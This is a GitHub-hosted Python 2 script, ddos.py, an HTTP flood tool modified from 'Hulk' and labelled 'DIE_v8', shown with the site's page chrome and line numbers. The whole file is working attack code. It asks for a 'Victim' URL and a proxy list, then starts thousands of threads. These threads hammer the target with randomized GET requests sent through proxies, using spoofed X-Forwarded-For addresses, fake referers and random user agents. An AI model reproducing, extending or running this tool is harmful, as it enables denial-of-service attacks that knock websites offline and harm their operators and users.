-
Notifications
You must be signed in to change notification settings - Fork 23
/
ddos.py
264 lines (241 loc) · 8.44 KB
/
ddos.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
#!/usr/bin/env python
#coding: utf-8
#..:: > DIE_v8 < ::.. Mod By Phan
import random
import socket
import threading
import time
import datetime
import urllib2
import urllib
import re
import sys
import optparse
import os
import urlparse
#Hulk Mod By JokerLjnk
url=''
host=''
headers_useragents=[]
headers_referers=[]
keyword_top=[]
request_counter=0
flag=0
safe=0
def inc_counter():
global request_counter
request_counter+=1
def set_flag(val):
global flag
flag=val
def set_safe():
global safe
safe=1
def getUserAgent():
platform = random.choice(['Macintosh', 'Windows', 'X11'])
if platform == 'Macintosh':
os = random.choice(['68K', 'PPC'])
elif platform == 'Windows':
os = random.choice(['Win3.11', 'WinNT3.51', 'WinNT4.0', 'Windows NT 5.0', 'Windows NT 5.1', 'Windows NT 5.2', 'Windows NT 6.0', 'Windows NT 6.1', 'Windows NT 6.2', 'Win95', 'Win98', 'Win 9x 4.90', 'WindowsCE', 'Windows 7', 'Windows 8'])
elif platform == 'X11':
os = random.choice(['Linux i686', 'Linux x86_64'])
browser = random.choice(['chrome', 'firefox', 'ie'])
if browser == 'chrome':
webkit = str(random.randint(500, 599))
version = str(random.randint(0, 28)) + '.0' + str(random.randint(0, 1500)) + '.' + str(random.randint(0, 999))
return 'Mozilla/5.0 (' + os + ') AppleWebKit/' + webkit + '.0 (KHTML, like Gecko) Chrome/' + version + ' Safari/' + webkit
elif browser == 'firefox':
currentYear = datetime.date.today().year
year = str(random.randint(2000, currentYear))
month = random.randint(1, 12)
if month < 10:
month = '0' + str(month)
else:
month = str(month)
day = random.randint(1, 30)
if day < 10:
day = '0' + str(day)
else:
day = str(day)
gecko = year + month + day
version = str(random.randint(1, 21)) + '.0'
return 'Mozilla/5.0 (' + os + '; rv:' + version + ') Gecko/' + gecko + ' Firefox/' + version
elif browser == 'ie':
version = str(random.randint(1, 10)) + '.0'
engine = str(random.randint(1, 5)) + '.0'
option = random.choice([True, False])
if option == True:
token = random.choice(['.NET CLR', 'SV1', 'Tablet PC', 'Win64; IA64', 'Win64; x64', 'WOW64']) + '; '
else:
token = ''
return 'Mozilla/5.0 (compatible; MSIE ' + version + '; ' + os + '; ' + token + 'Trident/' + engine + ')'
def referer_list():
global headers_referers
headers_referers.append('https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer/sharer.php?u=')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=')
headers_referers.append('https://drive.google.com/viewerng/viewer?url=')
headers_referers.append('http://www.google.com/translate?u=')
headers_referers.append('https://developers.google.com/speed/pagespeed/insights/?url=')
headers_referers.append('http://help.baidu.com/searchResult?keywords=')
headers_referers.append('http://www.bing.com/search?q=')
headers_referers.append('https://add.my.yahoo.com/rss?url=')
headers_referers.append('https://play.google.com/store/search?q=')
return(headers_referers)
def keyword_list():
global keyword_top
keyword_top.append('Sex')
keyword_top.append('Robin Williams')
keyword_top.append('World Cup')
keyword_top.append('Ca Si Le Roi')
keyword_top.append('Ebola')
keyword_top.append('Malaysia Airlines Flight 370')
keyword_top.append('ALS Ice Bucket Challenge')
keyword_top.append('Flappy Bird')
keyword_top.append('Conchita Wurst')
keyword_top.append('ISIS')
keyword_top.append('Frozen')
keyword_top.append('014 Sochi Winter Olympics')
keyword_top.append('IPhone')
keyword_top.append('Samsung Galaxy S5')
keyword_top.append('Nexus 6')
keyword_top.append('Moto G')
keyword_top.append('Samsung Note 4')
keyword_top.append('LG G3')
keyword_top.append('Xbox One')
keyword_top.append('Apple Watch')
keyword_top.append('Nokia X')
keyword_top.append('Ipad Air')
keyword_top.append('Facebook')
keyword_top.append('Anonymous')
return(keyword_top)
def buildblock(size):
out_str = ''
for i in range(0, size):
a = random.randint(65, 90)
out_str += chr(a)
return(out_str)
def httpcall(url):
referer_list()
code=0
if url.count("?")>0:
param_joiner = "&"
else:
param_joiner = "?"
request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
request.add_header('User-Agent', getUserAgent())
request.add_header('Cache-Control', 'no-cache')
request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
request.add_header('Referer', random.choice(headers_referers) + host + buildblock(random.randint(5,10)))
request.add_header('Keep-Alive', random.randint(110,120))
request.add_header('Connection', 'keep-alive')
request.add_header('Host',host)
index = random.randint(0,len(listaproxy)-1)
proxy = urllib2.ProxyHandler({'http':listaproxy[index]})
opener = urllib2.build_opener(proxy,urllib2.HTTPHandler)
urllib2.install_opener(opener)
try:
urllib2.urlopen(request)
if(flag==1): set_flag(0)
if(code==500): code=0
except urllib2.HTTPError, e:
set_flag(1)
code=500
time.sleep(60)
except urllib2.URLError, e:
sys.exit()
else:
inc_counter()
urllib2.urlopen(request)
return(code)
class HTTPThread(threading.Thread):
def run(self):
try:
while flag<2:
code=httpcall(url)
if (code==500) & (safe==1):
set_flag(2)
except Exception, ex:
pass
class MonitorThread(threading.Thread):
def run(self):
previous=request_counter
while flag==0:
if (previous+100<request_counter) & (previous<>request_counter):
previous=request_counter
if flag==2:
print ''
#DIE_v8 Mod By Duong Thành
def randomIp():
random.seed()
result = str(random.randint(1, 254)) + '.' + str(random.randint(1, 254))
result = result + str(random.randint(1, 254)) + '.' + str(random.randint(1, 254))
return result
def randomIpList():
random.seed()
res = ""
for ip in xrange(random.randint(8, 10)):
res = res + randomIp() + ", "
return res[0:len(res) - 2]
class attacco(threading.Thread):
def run(self):
referer_list()
current = x
if current < len(listaproxy):
proxy = listaproxy[current].split(':')
else:
proxy = random.choice(listaproxy).split(':')
useragent = "User-Agent: " + getUserAgent() + "\r\n"
forward = "X-Forwarded-For: " + randomIpList() + "\r\n"
referer = "Referer: "+ random.choice(headers_referers) + url + "?r="+ str(random.randint(1, 1500)) + "\r\n"
httprequest = get_host + useragent + referer + accept + forward + connection + "\r\n"
while nload:
time.sleep(1)
pass
while 1:
try:
a = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
a.connect((proxy[0], int(proxy[1])))
a.send(httprequest)
try:
for i in xrange(4):
a.send(httprequest)
except:
tts = 1
except:
proxy = random.choice(listaproxy).split(':')
#Main
print '\n\t..:: > Edit Code By Phan < ::..'
print '\t ==> #~~ Ddos Super ~~# <== '
# Site
url = raw_input("Victim: ")
host_url = url.replace("http://", "").replace("https://", "").split('/')[0]
#Proxy
in_file = open(raw_input("File proxy: "),"r")
proxyf = in_file.read()
in_file.close()
listaproxy = proxyf.split('\n')
#So luong
thread = input("So luong (3000): ")
get_host = "GET " + url + " HTTP/1.1\r\nHost: " + host_url + "\r\n"
accept = "Accept-Encoding: gzip, deflate\r\n"
connection = "Connection: Keep-Alive, Persist\r\nProxy-Connection: keep-alive\r\n"
nload = 1
x = 0
print("\tDIE_v8 DDOS Edit By Phan")
if url.count("/")==2:
url = url + "/"
m = re.search('http\://([^/]*)/?.*', url)
host = m.group(1)
for x in xrange(int(thread + 1)):
attacco().start()
time.sleep(0.003)
print "Attacking ==========================>>"
for x in xrange(501):
t = HTTPThread()
t.start()
t = MonitorThread()
t.start()
nload = 0
while not nload:
time.sleep(1)